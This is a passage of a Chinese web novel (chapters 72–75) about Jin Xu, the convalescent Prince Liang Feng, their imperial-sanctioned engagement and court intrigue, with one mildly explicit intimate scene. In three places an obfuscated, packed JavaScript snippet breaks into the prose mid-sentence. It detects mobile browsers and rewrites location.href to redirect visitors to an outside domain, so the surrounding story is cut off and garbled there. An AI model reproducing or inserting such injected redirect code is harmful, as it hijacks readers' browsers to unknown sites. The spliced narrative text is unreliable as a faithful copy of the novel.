金絮抬起头,看了他一会,梁风直勾勾地回望她。直到他眨眼回神,吸气,下颌一松,金絮便捏紧他下巴,贴近与他双唇相对,舔尽他口中的药味。 凉凉的,非常干燥,很苦。 但他又不呼吸了。担心他屏息太久身体不顺气,金絮亲一会儿便不亲了,看他震惊得回不来神的眼睛,笑道:“这不也顾着你甜了。喝了药,正合适吃蜜饯。” 梁风抿住唇,不说话,手掌攥住心口的衣裳,眼睛直直地瞧着她,眨都不眨一下,白白的唇线扯紧,瞧得她心脏忽然紧张地一蹦。 金絮抚摸他的手,感受到他剧烈的心跳,微微一笑,“我希望你能不苦,希望你能觉得甜。” 梁风张了张嘴,似乎难以说话,眼睛又红了起来,一瞬不瞬盯着她,巴巴向她张开手。金絮主动抱住他,感受他慢慢收紧的手臂和衣裳下滚烫的皮肤,听他在耳边抽气。她轻轻拍他的后脑勺。 “喝了药就睡会儿,李婶说你要静养。我待会要出趟门。” 梁风顿时眼神绷紧,“你去哪?” “去还愿。”她安抚他笑道:“等你睡了我再去。” 她扶着梁风躺下,给炉火加了块炭,将药碗拿给房外的丫鬟。屋子里暖烘烘的,她亲一下梁风额头。梁风大睁着双眼看着她。 她摸摸他的脸,“睡一会儿吧,你醒来前我就会回来。” 可他还是不睡,兀自睁眼看她,呼吸仍很虚弱,胸膛轻微地起伏。他好像想说什么,可是没力气,眼神在药物作用下逐渐失焦。 金絮耐心陪着,等待他入睡。 “安心睡,你醒来时,一定能看见我。” 药效逐渐发挥,梁风难以再撑,闭眼睡着了。 金絮松口气,也不带随从,独自去往长门寺。 长门寺里,她跪在蒲团上,良久地看着观世音菩萨,感受这不知是不是被神明偏爱了的喜悦。 也不管信与不信,她双手合十,虔诚地给菩萨磕了一个头。 回到王府,梁风仍在睡。 他睡得安稳。夜深时沁出了汗水,金絮为他拭汗,他慢慢睁眼,迷蒙的视线与她对视,模糊地问:“我是不是在做梦?” “不是。”她亲亲他的额头,“我也不是。” 他再次安心地睡去。 过了两天,梁风逐渐能下地走动了,恢复超出李婶预期的好,没有咳嗽,夜里脏腑也不会泛疼,全府上下都很高兴。七皇子抽空还来看了他,他更高兴了,但除了七皇子外,他重病期间,再无人踏进过安分王府。 无意听七皇子说了一嘴,她才知道,在梁风中毒后的几天,朝廷立了新太子,是三皇子梁与棣。 她无所谓,听一耳朵就过去了。梁风也没说什么。 这天申正后看他精神好,陪他在院子里晒晒太阳。她做的帽子此时给他戴着正合适,只是看上去有点像鸟窝。 梁风躺在躺椅上,日光暖洋洋,金絮难得感到安逸。 “阿絮。” “嗯?” “我没想到皇兄竟欲杀我。”他声音还是有点哑。 金絮扭头看着他,“你是没想到,还是心里很清楚只是不愿意相信?” 梁风无言,沉默半晌道:“皇兄想利用我一石二鸟。那日我进宫后,皇兄说陈大将军向他进献了一份西域的火葡萄,邀我一同品尝。” 然后他就中毒了,而皇帝安然无恙。 “与義告诉我,我昏迷期间,陈将军自杀,皇兄清算了陈家,并将陈将军的女儿贬入冷宫。” “毒是陈将军下的?” “是或不是,下毒之人都算在了陈高头上。因为朝中反对立与棣为太子的人中为首的正是陈 高。”梁风道:“陈将军死后,朝中所有人都改而支持与棣,三皇子顺利成为储君。皇兄为了与棣,清除了一切可能成为他阻碍的人。可我不明白,皇兄为何想杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839807|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,我始终支持皇兄一切决定,除了娶妻一事,我从未忤逆过他任何意愿。” “可你的存在本身就忤逆了他。你现在是支持他的一切决定,但是他会想,万一哪天你不支持了呢?” 怀璧其罪的戏码日日在朝廷上演,梁风心里肯定清楚,只是他始终自遮耳目,不愿意看见昏君真正对待他的模样。 她道:“你手中没有兵权,可你手中有军心。” “并不是。”梁风皱眉急争道:“皇兄对我有私心的,不然他为何不在前几年刚登基时就除掉我?而是把我留到如今?” 金絮直言将窗户纸捅破,“因为留着你,才有人为他收服叛民。” 昏君登基时,朝中除了他,再无大将。 梁风一顿,撇头用后脑勺对着她,沉默下去。 金絮摸摸他的脑袋,哄道:“好好好,皇帝真心并不想杀你的,他只是被朝中各个权臣逼得无奈,无奈之下做出的决定,他无心伤害你。” 他缓缓放松,顺着她抚摸的动作转过脸来,与她贴近了些。金絮打量他的肤色,还是很白,但嘴唇红了点,看着有了气色。 他脸颊贴着她的掌心,闭眼假寐。金絮捋顺他沾脸的发丝,让阳光均匀地晒。 “你知道那封信是我写的?” “嗯。” “为什么还来?” “因为是你。” “如果我这次没有濒死,你会一直等我吗?” “当然不会。我只等到你成婚。” “为什么要等我成婚?” “看着你有着落了,我就走。” “那如果我这次死了呢?” “......” “嗯?”梁风睁开眼。 “我就去求厉鬼。” 梁风一怔,握住她的手轻轻扯她,“......你不要去求厉鬼。” “嗯,不求,”她依道:“求了也未必有用。” 鬼神都不应凡人。菩萨不理她,厉鬼也未必会应她而去杀了昏君。 “阿絮......” “嗯。” 梁风坐起来,张开手,“你抱抱我。” 金絮抱住他,梁风更紧地回抱,脸埋在她的肩窝,“阿絮......” “怎么了?” 察觉他情绪异样,金絮拨了拨他的发,想看他的眼睛,梁风更往她肩颈里躲。 “阿絮,我想辞去王爷之位。” 声音就响在耳边,但她几乎疑心自己听错了,“什么?” “做个庶人,远离那些事情,我们一起浪迹天涯,去任何你想去的地方。” 她停留在他发间的指尖良久不动,梁风似是见她久不答话,有些急道:“你说过你会一直陪着我的。” 金絮手一抖,弹离他发间,问道:“决定好了?” 梁风却是沉默着。 金絮抬起他的脸,看着他双眼道:“你怎么总要付出生命的代价才能下定决心呢?上次是娘亲,这次差点是你自己。” 梁风怔神,眼睛一瞬间失焦,眼泪迅速涌出来。 她一吓,忙哄:“你别哭,别哭......” 她一句话诛了他的心。 眼泪太重,颗颗滴落在她肩颈,泪水难以稀释痛苦,梁风抱着她哭得止不住。 金絮不停拍抚他的后背,“是我说错了,我收回我刚才的话。你别哭了。” 他还是哭,像是想把这些年说不出口的怨,一股脑全都哭出来。金絮只好不断地哄他,拣着所有他爱听的话说给他听,可肩头的衣襟越来越湿。 直到太阳徐徐落下,他的情绪才渐趋平复,窝在她肩头没声响。 金絮松口气,拍拍他的脑袋,“阿风,回屋吧,你该喝药了。” 他不动,金絮耐心等着,直到他抬起头,为他擦净泪痕,拂去沾脸的发丝,哄着他起身回屋。 梁风低着头,手臂紧紧环着她,通红的双眼看着金絮,不知在想什么,看着看着,眼睛里再次涌出泪来。 金絮拇指接住他的眼泪,“你别这样......” 眼泪流得更凶了,眼睛内的血丝愈发明显,她捧着他的脸擦泪,擦不尽,他痛苦地闭上眼睛,眉头紧皱着,却没再哭出声。 情绪传染给了金絮,她攥紧了拳,指甲陷进肉里,心一狠道:“那皇帝......其实也挺好的......” 又一股泪流下,梁风松了眉,喘着气睁开了眼,泪水包裹的眼睛看着她,“哪里好?” 哪里好? 金絮说不出来。 梁风抽气,抓住她衣袖想急切地证明什么,“他从前待我极好。” “我知道。”金絮安抚他:“从前待你好过,那他至少有这一项优点可取。” 他闻言,慢慢松开了她的衣袖,情绪这才平静下来。 “回屋吧。”金絮擦净泪痕。 梁风任她牵着回屋,抓着她手指不放,片刻不许她离开。 金絮唤来李婶给他把脉,再好言哄着他把药喝了。 梁风躺下,双眼仍红着,还牢牢抓着她,“你一直陪着我。” “嗯,我一直陪着你。”金絮亲亲他。 梁风安心睡去。 73. 梁戟与丽姬 开春了,梁风身体好了许多,他时常早起锻炼身体,药也停了,看起来与常人无异。 金絮便抽空回了一趟家。家门缝下夹着封信,是林童忆写来的,约她相见。她收了信,跟梁风说了一嘴这事。 他哼哼道:“你跟我说做什么,你要去见他就去见,我又不会拦着你。” 金絮没说话,她可以通过十三联系到林童忆,想什么时候回信都行。 “我当然不会拦着你,又不是我拦着你不去你就会不去的,腿长在你身上,你当然想去哪里都可以。这几个月,陪你过冬的是他,陪你过年的也是他,又不是我,我能要求什么?” 金絮斟酌一番,又觉得没什么好斟酌的,林童忆肯定要见,只是话不知该怎么说。 林公子还是想在朝堂上做出一番作为的。 当时听见林童忆说“做些能造福老百姓的事”时,她还觉得挺欣慰和佩服。 金絮提笔回信,日子定在初九,这天林童忆应正好休沐。 梁风望眼欲穿地看她的信纸,金絮无视他灼灼逼人的视线,封好信交给十三,十三飞身上檐。 “你还与他书信来往,看看你才给我写过几封信,哼。” 金絮忽略他的阴阳怪气,捧住他的脸,照唇亲他一口,道:“我与你唇舌来往。” 梁风略略满意地不哼了。 “王爷!王爷!” 门外传来老李急切的呼喊。少见老李如此着急,金絮不禁循声注目。 李晟小跑进竹苑,跨过门槛时揖都忘了做,“王爷,陛下来了!” 金絮惊得一直,还没反应过来,身体就已经先一步朝门外走去。 “阿絮!”梁风拽住她,“阿絮你先躲起来,老李,你带着阿絮快走。” 她站着不顾推搡,拂开梁风的手,眼睛牢牢粘着门窗,仿佛能透过门窗看见即将在王府内出现的身影,“我看看皇帝长什么样,就看一眼......” “不行,你快走,我不想让皇兄看见你。”梁风拉她走到竹苑后门,金絮拽不过他,被他推出竹苑。 “老李,你带她回西苑去。”梁风吩咐完,便转头应付皇帝去了。 此时皇帝应到了王府正殿,来得及偷偷绕过去,她刚踏出一步,李晟闪身挡在她面前。 “李管家,我......我就去看看。” “姑娘,王爷吩咐不可。” “我就看一眼,就一眼。” 老李紧咬挡着她路,金絮急得望眼欲穿。丫鬟们匆匆路过,急忙赶去正殿伺候,人那么多,她藏起来不会被发现的。 “老李,你快去接驾,别拦着我了。” “姑娘,”李晟一揖,“去见一眼又能怎样呢?”抬头直视她,问道:“您见过了陛下,然后又能怎样呢?” “我......我......” 她还是望着正殿方向,脑中浮现幻想过无数次的昏君相貌,每一张模糊不清的脸都只能心有而余力不足地与梁风无限贴合。 她模糊不清地说:“我......我就是想分清陛下和梁风。” 只要看一次,她能记一辈子。 只要让她看一次。 老李带她绕到了正殿后方。殿内出奇的静,静到每一线灰尘在那昏君的驾临下都不能有分毫冒犯。 她躲在屏风后,听见了梁风和皇帝的对话,但听不清楚,她想近前一步遭到了李晟拉阻。 她从后门溜出去,绕到前廊,远远藏身在一根粗柱后面,等着皇帝出来。 不知多久,正殿大门退出一众丫鬟跪伏,那人终于现身,她居然下意识一躲。 黑衣的中年男子跨出门槛的动作似乎带了怒气,半点停留都无,踏出来便拐弯沿廊离去,太监随其身后高喊摆驾。接着,梁风追随而出送客。 那双想象中带着帝王威严的眼睛她没看太清楚,只是侧面一闪而过山峦般的鼻峰,像极了梁风。模糊的面影中她甚至可以想象梁风老了之后的模样。 整个王府大半的人都去送这个贵客,她从柱后出来,趁动静远去才跑到王府大门看见帝王撵轿孤高傲慢视一切为蝼蚁的尾影,车轱辘碾过将近十一年前洒在她心头上的亲人血。 众人福身送礼,唯独金絮单独直身站着,只能在此刻以不肯弯下的腰来表示对帝王轿撵的反抗。 梁风礼完转身隔阶一眼扫向她,脸上的笑十分好看,“阿絮,我方才向皇兄请旨赐婚了。” 金絮怔怔然,注意力还没从远去的车轱辘抽离,就只看见梁风嘴唇一开一合: “你愿意嫁给我吗?” 曾经在她看来是象征的皇帝身影渐渐从梁风脸上剥离出来。她不知如何作答。 梁风牵她走进正殿,笑意久久不散,“我还跟皇兄说我想在辞位之前娶妻,以王妃之礼迎娶我的妻子,婚后即刻辞位,他好奇是谁,我借口你身体不好,吹风易受寒,便只给他看了事先备好的画像。” 他拿起桌案上放的一幅画,画中女子体态端庄,面容白净,在普通人家秀丽得能让人多看一眼,但在这风华满城的京都中却显得普通了。 她不解,“这画中人是我?皇帝以为我是什么人?” “我只跟他说你是我去年游玩途中遇见的一名商户之女。” “可是三皇子、七皇子和五公主都见过我了。” “无妨,就说不是同一人。”梁风将画卷递给李晟收拾,“为求稳妥,在我们成婚之前,你便先搬去别处居住,我让李婶照顾你。” 她皱眉,“你身体还没好,不能没了李婶。” 他一笑,“我便当你答应了。”又牵着她往西苑走,“住所我都安排好了,你只需收拾好东西搬过去,然后等着我上门提亲。” “不用,我有住所。” “你那住所附近的邻居都见过你了,更应该搬出来,我让人去替你收拾家用。” 她猛地站定,和他牵拉的手悬成一座桥。 “我们要成亲了?” “嗯。”他笑看她。 “可......可皇帝不是还没赐婚吗?” 他脸色微变,欢喜收敛起来,“你不愿?” 也不是不愿。她不与他对视,看着别处走开,想顺势挣开他的手,可他抓得很牢,她走哪他都跟着。 “那你是不愿意用假名号与我成亲?” 她没答这话,换了一问:“你说让我等你上门提亲,可你能跟谁提亲呢?” 梁风显然被她问住,金絮趁机换话头,“皇帝跟你说什么了?” “我跟你提亲不行么?” 她好言哄着:“你总要给我点时间想想,嫁娶是一句话的事么?” “那你拉着我想。”他不放手。 “皇帝会同意赐婚吗?” “......” “你不能保证皇帝一定会赐婚?” 他不说话,神情是默认。 “你先向皇帝请旨,再来和我说这事,是不是想着如果皇帝同意了,不管我愿不愿意我都一定得奉旨嫁给你?” 他一顿,抬眸看她,轻轻捏她掌心,“你生气了?” “没有。”她轻笑道:“吹很多风了,进屋吧。” 西苑正房备着炉炭,门窗都暖烘烘。梁风坐到榻上,她摸摸梁风额头,温度正常,她问道:“为什么担心我会不愿意?” “因为你总是说走就走,半点都不理旁人。” 听他这带点哀怨的语气,金絮道:“皇帝会准你辞位吗?” “阿絮,你扯话总扯得这么生硬。”他双手抱住她腰,下巴搭在她肩膀上,“我允许你想一个晚上。” “好。”她摸摸他的脑袋,“你不是旁人。” “那你今晚别走了。” “这里是西苑,该走的是你。” 他哼一声,“那我今晚不走了。” 他说不走就真不走了。刚被贵客惊动完的老李忙唤人将西苑添置了一番,为他这个病人安置得更妥帖舒适,金絮跟着沾了光。 除了洗浴时,梁风的手几乎是黏在了她腰上,最后一起带进了被子里。 上一次他还是半夜里偷偷摸摸把她抱去与他同榻,这次他直接明目张胆地钻进了她的被窝。 梁风半身盖着棉被,拍了拍身侧的枕头,向她示意。 金絮随意吹灭蜡烛躺了过去,梁风立刻贴过来,几乎全身贴着她,鼻尖蹭着她的耳朵,有些痒。 她掖好被子,静听了一会儿黑暗里的呼吸声,酝酿睡意。梁风轻轻道:“阿絮,皇兄不一定会准我辞位。” 他此时才答了她刚才问的话。 “不辞也好,”她挠挠脖子,“你很难适应庶民的日子的。” 他不认同一哼,“没试过你怎么知道我不适应。” “我流落到温柔馆时年纪还小,要适应生活的骤变尚且不算太难,但那日子也并不好过,我知道你能适应,可我不想你也尝一遍。” 他微默,低声道:“我尝过了。” “可是由奢入俭难。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啧,你现在说话是不是越来越不挑词儿了?”金絮责怪道。丽姬无谓一撇嘴。 怪完之后,她浅笑着,看广阔的天空承托晨鸟双翼,道:“梁风想娶我。” 丽姬微微偏头,“你答应了?” 金絮没说话。 “啧啧啧,”丽姬一脸恨铁不成钢,“梁风那人到底是给你灌了什么迷魂汤?让你分不清里外世界了?” 金絮一愣,继而哈哈大笑起来,笑声比天空还张扬。 她呼出一口气,痛快道:“是啊,我也想知道啊。” “呵,真是,男人有什么好?” “梁风不好么?而且,他说他想辞去王位。” 丽姬一顿,顿了许久,最后倒也点头,“他是挺很好。但我就不乐意被个男人绑着。” 金絮一想也是符合丽姬的性子,心中不免为那和尚感到惋惜。 她看着丽姬镀着破晓的侧脸,笑道:“以后你可别来京城了啊。” 丽姬也转头回望她。 “雪姬已经死在京城了。你是自由的,可别再被困到笼子里了。” 丽姬闻言笑了,眉目像飞扬的山河。金絮忽然觉得不舍,不舍丽姬眼中的世界。 “那我走了。”丽姬拇指抚摸她的眼睑。 “嗯。” 她身形一展,纵跃于层层叠叠围墙般的屋浪间,几个飞跳,没了身影。 金絮久久站在屋脊上,久久看着丽姬毫无顾恋的背影。觉得自己所希冀的,跟着丽姬一起远去了。 金絮抬高双手,朝阳满身地伸了个完美的懒腰。 “阿絮!” 屋顶之下传来梁风的呼喊。 “阿絮!” 她放下手低头看,随着他的声音转向院子,仅穿着里衣的梁风冲出屋,嘶喊:“阿絮!” “阿风!” 梁风脚步骤刹,回头眼光掠过,抬眸看见了她,眼神霎时凝住,嗓子有些颤抖,“你跑那上面去做什么?” 她嬉笑,向他张开双臂,“我下不去了。” 梁风飞身上来抱她落地,扬手打她屁股,怒道:“一大清早跑屋顶上干什么?你怎么上去的?又让我一醒来就没看见你!” 他打得不痛,金絮由他打,再拉他进屋,道:“穿鞋去。” 74. 祝福 梁风坐着,金絮抬起他的脚看看有没有被石子划伤,再用湿布擦了擦,道:“把鞋袜穿好。” 他不动,沉沉盯着她,金絮坦然任他看,看得久了,她无奈笑笑,“要我帮你穿?” 梁风神色微闪,闷闷地觑她一眼,夺过她手中的白袜,自己穿起来。 金絮抚平他凌乱的发顶,轻声道:“我答应了。” 仿佛有只大手按住他,抓得他瞬间不动了,半晌才抬头,眸光灼灼地闪烁。 金絮垂眸微笑,指腹轻缓地擦过他耳鬓,捧起他下巴,俯身不再是点水地亲他,感受他一震后试探张开的双唇。 梁风双臂颤抖着环住她肩腰,激烈地回应,像是想一泄这些年求而不得的妄念。 之后他就赖在了西苑。 说是让她搬去别处暂居也没让她搬了,天天缠着她,想要这个想做那个的,连喂个鱼都得要一起——陈心湖的鱼又胖了许多。 初九这天,他难得去早朝,金絮得空去见了林童忆。 与林童忆约在城内湖边。春柳荫荫之地,她坐于石凳,看并不宽阔的城内湖,湖上有两艘舟渡。 早晨湿气渐散,额角容易泌汗。微风中,细微的脚步停在身旁不远处。 她看过去,林童忆淡笑遥遥望着她。 与他对上眼的瞬间,金絮忽然觉得林童忆明白她这次约见是为了什么。 她笑一笑,“吃早饭了吗?” 他颔首,坐在她身旁,问道:“你如今住在安分王府?你的侍卫将你的信给我后,我去找过你,邻居却说你已经搬走了。” “嗯,我现在是住在王府。” 她赏着湖面道:“你跟我说说我以前救了你的事呗,我是怎么遇见你的?” 他垂下眼,淡笑的眼帘含入湖光,笑意却不浓,沉声着说:“那年圣上起兵造反,琼安县遭大军踏过,县令弃县而去。母亲弃家而去,父亲把我卖了,我当时以为京城是天底下最安全、最没有颠沛流离的地方,便独自一人逃往京城,途径太南时差点饿死,你路过救了我一命。” 他说的还是很简略,金絮也能理解,每个人总会有些事情不想告诉别人知道。 金絮看着他双眼,认真地说:“你不欠我什么,真的。” 他仅一笑,什么都没说。 两人沉默片刻后,林童忆问:“以后会住在京城吗?” 她摇摇头。梁风若顺利辞位,会带她离开京城的。 “他待你好吗?” 金絮微顿,点了点头,然后道:“对不起。” 他笑出声,语气无奈,“你说我不欠你什么,那你又有什么是对不起我的?” 林童忆笑道:“他很幸运。” 她看见林童忆眼中的释然,同笑:“也是我的幸运。” “我希望你幸福。” “那我......”她想了想,“那我祝你仕途顺利,心想事成,平安顺遂。” 他眼睛弯成柳叶,“好。” 与他道别,金絮走离湖岸。 行至街铺喧嚣处,她停步,回头一看,只见城内湖边,青湖绿柳似画布,画心一张砖灰石凳。石凳上,静静躺着一把小小童扇。林童忆已不见踪影。 她收回视线,脚步轻快地行向王府。 梁风午时才回,还带回了皇帝赐婚的圣旨。 婚期定在五月初七。日子定得很匆忙。 第一次见圣旨,拿在手上闪闪发光,金絮看了个新鲜,但是想到这封旨意背后的皇帝,就觉得不过是块黄色破布,碰都不想碰。 梁风道:“知道你不喜欢,可这是圣旨,若随意摆放的话会让人抓了弹劾的把柄。” “我知道,你找处地方把它供起来。我每日给它上香。” 她话里隐隐带了讽意,梁风一笑,将圣旨卷好交给老李,轻点她的额头,“上香倒不必,我让老李妥善藏起来,放在你看不见的地方,眼不见为净。” “一块破布看不看得见有什么关系,我一看见你,就会想到你连娶我都还要先经过这昏君的同意。我们成亲,中间还得有这昏君插一手。” 梁风慢慢敛笑,默默看她。金絮知道梁风不喜欢她总是看见他就想起皇帝,她只是忍不住会提。见梁风不笑了,她只好补道:“我不是迁怒于你。” “我明白的。”梁风低低道,指腹按捏她的腕心,“哦对了,阿絮,皇兄还有封私信给你。” 金絮这一下难免惊了,“皇帝的信?” “是。”他说着,从怀中拿出一封信。这信没有署名,信封纸面朴实却很精致,纸纹细腻,不是寻常之物。 金絮愣愣看着,万万想不到她有一天竟能收到皇帝的亲笔信,片刻惊异过后,她身子抗拒地一侧,“我不看,要接这封信是不是还得焚香、沐浴、斋戒三日,以全礼数,才对得起那九五之尊?” 他失笑,“不需要。这是私信,皇帝单独写了交给我的,史官都不知道,不必全那些礼数。是我与他简要说了一番你的事迹,央着他给你写了这封信,也因此没有盖御印。你看看。” 金絮犹犹豫豫,还是接了过来,慢吞吞拆开看。 “这封信皇兄是以我的兄长名义写的,而不是大周的皇帝。是你未来夫君的兄长写的。”他刻意强调。 信中字迹端正,笔锋顿折,很符合写信之人的身份。篇幅不长,也就半张信纸,所写内容是对前丞相的惋惜和无奈之情,言语并不恳切,似是央求之下勉强提笔敷衍写就。 她一字字看完了,沿痕折好信纸,抬头无言地看着梁风。 梁风直直与她对视,对视一会儿,他微微垂下眼,嘴唇蠕动却什么话都没说,低头抱住她,往她怀里拥近,也不知是想安慰她,还是想向她讨安慰。 “傻瓜。”她轻轻一句。 “好了,我知道了。皇帝除掉金家,是因为要制衡权术,平衡朝廷纷争......之类的乱七八糟的原因,皇帝对我父亲还是有不舍之情的。” 梁风闻言没说话,金絮却能感觉到他随着她的话缓慢放松了,于是也抱住他,拍拍他的后背,“饿不饿?吃饭吧,我饿了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839809|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 梁风沉默一会儿却是道:“阿絮,我要娶你了。” 说话时的热气呼在她颈间,她说:“嗯,我也要嫁给你了。” 梁风一笑,唤老李进来,吩咐备饭。 “成婚事宜我来准备,你安心着,什么都不用做。”他给她夹菜。 老李一旁道:“王爷,按说新婚夫妇婚前一月不得见面,现下您和金姑娘需分开居住了。” “我晓得,这不是还有一个多月吗,到日子了阿絮再搬出去。” 她也给他夹菜,“行,都依你。” 金絮给鱼肉剔去小刺,放到他碗里,慢悠悠用饭。 “阿絮,还有一事,”他停下筷子,“徐礼在朝中出了点事情。” 徐礼?她无所谓道:“不用管他。怎么样都是他自己选的路。” “他似乎是立太子前后入朝的,为官后太过急切,他仅是相府里的一个微末小官,为了站队居然敢弹劾冯棹台。” “他弹劾冯棹台?为什么?”金絮诧异道:“他才多大的官?就敢弹劾御史中丞?” “应当是想被太子收入麾下,而冯棹台是当初反对立与棣为储君的陈大将军背后的支持者。”梁风道:“也因这封奏折,让太子知道除了陈将军外,暗中还有个冯棹台反对他。” 那冯棹台岂不是被徐礼一封奏折给拉到了台前? “徐礼被人利用了,利用他的人针对的是冯棹台。”金絮思索道:“估计冯棹台日子不好过了。” “难说,游丞相在保冯棹台。” 她搞不太明白这个关系,“游丞相为什么保冯棹台?” “不清楚,私交吧。阿絮,你别打听这些。” “又不是我要打听,是你自己在跟我说。” “我与你说就是想问你,需不需要我帮徐礼一把。” “你自己病还没好全呢,都自身难保了,怎么帮?” “没人帮他的话,估计是走不下去了。”梁风盛汤,“即便所有人都知道他是被利用的,也不会有人愿意保无足轻重的人。” “人各有命。” 她说完,喝两口汤。烫得恰到好处的汤汁滑入喉咙,她把碗一放,又道:“我没什么好说的,徐娘把他交付给我,我已尽了情分了。是他自己做不来官还非要做。他是缺人教导,可我教导不好他,我也没比他大几岁,他不听我的。” “嗯,我知道。” “可他自己不知道。徐娘把他交付给我的原因,就是希望他平安一辈子。他自己舍弃了这平安。” “嗯。” “反正我不管他了,我管他对不起柔竹,他更是不耐烦我管。自己选的路,输赢成败让他自己去担。” “嗯,那便不理他了,别气。” 金絮忿忿吃完了后半顿饭,梁风拉她去府内后花园的梅林赏花,权当散步消食,她便去了。 梅花半开,还未绽成盛景。两人边散步边谈论大婚事宜的细节,谈着谈着,她忽然想到,她该为自己缝制嫁衣了。 可她的绣工...... 75. 游照同 梁风病一回瘦了许多,老李吩咐厨房多做滋补的膳食,他吃了几日便说腻了。 “那你想吃什么?我给你买来。” “买的么?我不爱吃买来的。” “你别指望我做,我不会的。” “......哼。” 他赌气地撇过头去。 金絮眼看夜色深了,梁风沐浴完衣着单薄,便催促他赶紧进被窝里,再将火炉推近,梁风立刻皱眉道:“热得很,放远些,我没那么娇气,冻不着。” 金絮于是依言把火炉拉远,放到屋子中央。见梁风望着她的神色欲言又止,金絮有些奇怪,摸摸他的额头,温度正常,挨着他坐下道:“我确实看你最近几日食欲不振,是怎么了?” 他还是欲说还休,张嘴又闭上,最后道:“没事,旁的原因。要跟你成婚之后才能好。” “为什么?”她奇怪且认真道:“为什么要成婚之后才能好?实在不舒服的话,我叫李婶来。” 他不答话,金絮接着说:“你总不好好吃饭肯定不行,身子还没养好呢。” “你不明白么?” “明白什么?” 梁风目光幽深地盯着她。 她看明白梁风在给她暗示,但不懂暗示什么,便摇摇头,“我不明白。” 梁风前倾,拉她手臂让她离近些,贴在她耳边悄悄说了一句话。 她耳朵一热,登时了然,很有些意料之外地偏头看他。梁风说完便对她回复沉静的面色,眼神里没有希冀,没有怨怼,更没有急不可耐,而是静静的,等待她的反应。 她想了想也是,这几日梁风很喜欢叫她同榻而眠,她却一直没有发现异样,尤其是每日早晨——她以为梁风只是赖床。 “是我的疏忽,那要怎么办?” 听见她这句话,梁风眼睛里才流露出些微的幽怨和责怪,给了她一个眼神让她自己体会。 金絮一笑,示意地抬起了手,抬起了她的左手和右手。 ...... 她在凉水盆中洗净双手,每一根手指、每一道指缝,洗净后,掌心一面还是红红的,但没那么热了,有些庆幸昨天刚修过指甲。 她用手背擦去额角的细汗,揉着刚才差点抽筋的右手大拇指,轻轻喘了口气。手背凉凉的,或者是她脸热。 “阿絮......” 他的声音传来,带一点哑和慵懒。她擦净手上的水,整理一下衣服,走出浴室,见梁风躺在床榻上,脑袋陷在枕头里,眉目还有没淡去的愉悦,旁边被踢开的被子很凌乱。 “隔着衣裤,还要洗那么久,很脏么?” 她一愣,梁风半睁着眼看她,目光涣散。金絮却看得出来,他很放松,全身上下几乎每一寸肌肉都粘着床榻。 “不脏,只是不太习惯。” 她此刻也觉得火炉很多余了,太热。她将留了一条缝的窗户拉大一些,又听他道:“很难闻么?” 金絮有些无奈,走去坐在他床头,轻声道:“不难闻的。” 梁风闭上眼,金絮摸他的额头。一脸汗,体温还有些高,她低问:“刚才划疼了吗?我不太会。” 梁风微微摇头,主动靠近她的掌心,眼睛睁开一条缝,“你别走......” “嗯,不走。” 他再次闭上眼,眉目舒展开来,呼吸逐渐变得长缓。 她轻轻道:“不换件衣裳吗?” 梁风已经睡着了。看起来睡得很舒服。 金絮无奈笑笑,摸摸他的脸,勾去他鼻尖一颗摇摇欲坠的汗滴。 他这一身脏衣不知该怎么办。刚才就刻意躲着,没好意思拿正眼看,此时更不会去看了。 他体温很快降下来,金絮给他擦了汗,再用被子遮着脱下他的裤子,随意套了条干净的,其余等他醒了再说。好在床榻还算整洁,她熄了灯,和他睡在一处。 翌日睁眼就在他怀中。 金絮是被热醒的,或者是被他闹腾醒的。耳畔的吻拂得她很痒,她想动一动被压着的大腿,换来他不满的哼哼。双手被他一只只抓起展开察看,被他深入被窝里面,被他引导着握碰到了不同于衣料的触感。 金絮听见他轻轻地抽气。 之后梁风食欲果然好了许多,整个人通体舒畅,什么都愿意吃了,也不会总是一副憋着的样子,只是会对她提愈发多的要求了。 老李筹备大婚事宜越来越忙,金絮算着还有几天就需要和他婚前分开一月,于是全身心照料他,想尽量把他养胖些。 闲暇时听闻最近街坊邻里谈论游丞相的传言愈盛,只言片语甚至传进了这个几乎与朝堂隔绝的安分王府。她想起上次见过的游琪,便让梁风命人去外面打听一番。这才得知朝堂不知为何起了震动,游丞相地位岌岌可危。 后脚小厮便报有人登门。来人正是游琪。 梁风传见,金絮回避,但她多少有些担心这丫头,便躲在正殿屏风后,听了一耳朵。 “王爷......王爷,求您帮帮我!” 隔着屏风能看见游琪跪在下首,哭得语句断断续续。这求助都求到安分王府来了。 梁风挥手让人扶起游琪坐到一旁,他道:“你父亲发生了何事?” “王爷,我父亲是被冤枉的,他是被冤枉的,他没有做那等贪赃枉法之事!” “你莫急,且细细说来。” 可朝堂之事,游琪一个女子知道得很少,问半天也没说出关键,只知道走投无路时,求遍所有人。 梁风问:“你想让本王如何帮你?” “王爷,王爷......您向陛下求求情,饶了我父亲一命......” 梁风没说话。游琪急道:“王爷......” 